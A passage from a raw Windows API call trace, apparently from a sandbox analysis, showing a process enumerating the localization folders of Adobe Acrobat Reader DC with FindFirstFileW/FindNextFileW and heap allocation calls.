lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0252.814] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.814] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.814] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.814] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0252.815] GetProcessHeap () returned 0xc10000 [0252.815] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.815] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0252.815] GetProcessHeap () returned 0xc10000 [0252.815] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.816] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.816] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.816] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.816] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.817] GetProcessHeap () returned 0xc10000 [0252.817] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.817] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0252.817] GetProcessHeap () returned 0xc10000 [0252.817] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.818] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.818] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.818] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.818] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.818] GetProcessHeap () returned 0xc10000 [0252.818] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.818] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0252.818] GetProcessHeap () returned 0xc10000 [0252.818] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.820] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.820] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.820] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.820] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.821] GetProcessHeap () returned 0xc10000 [0252.821] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.821] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0252.821] GetProcessHeap () returned 0xc10000 [0252.821] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.821] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.821] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.821] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.822] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.822] GetProcessHeap () returned 0xc10000 [0252.822] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.822] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0252.822] GetProcessHeap () returned 0xc10000 [0252.822] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.823] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.823] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0252.823] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.823] GetProcessHeap () returned 0xc10000 [0252.823] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.823] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0252.823] GetProcessHeap () returned 0xc10000 [0252.823] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.824] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.825] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.825] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.825] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.825] GetProcessHeap () returned 0xc10000 [0252.825] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.825] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0252.825] GetProcessHeap () returned 0xc10000 [0252.825] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.826] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.826] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.827] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.827] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.827] GetProcessHeap () returned 0xc10000 [0252.827] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.827] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0252.827] GetProcessHeap () returned 0xc10000 [0252.827] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader 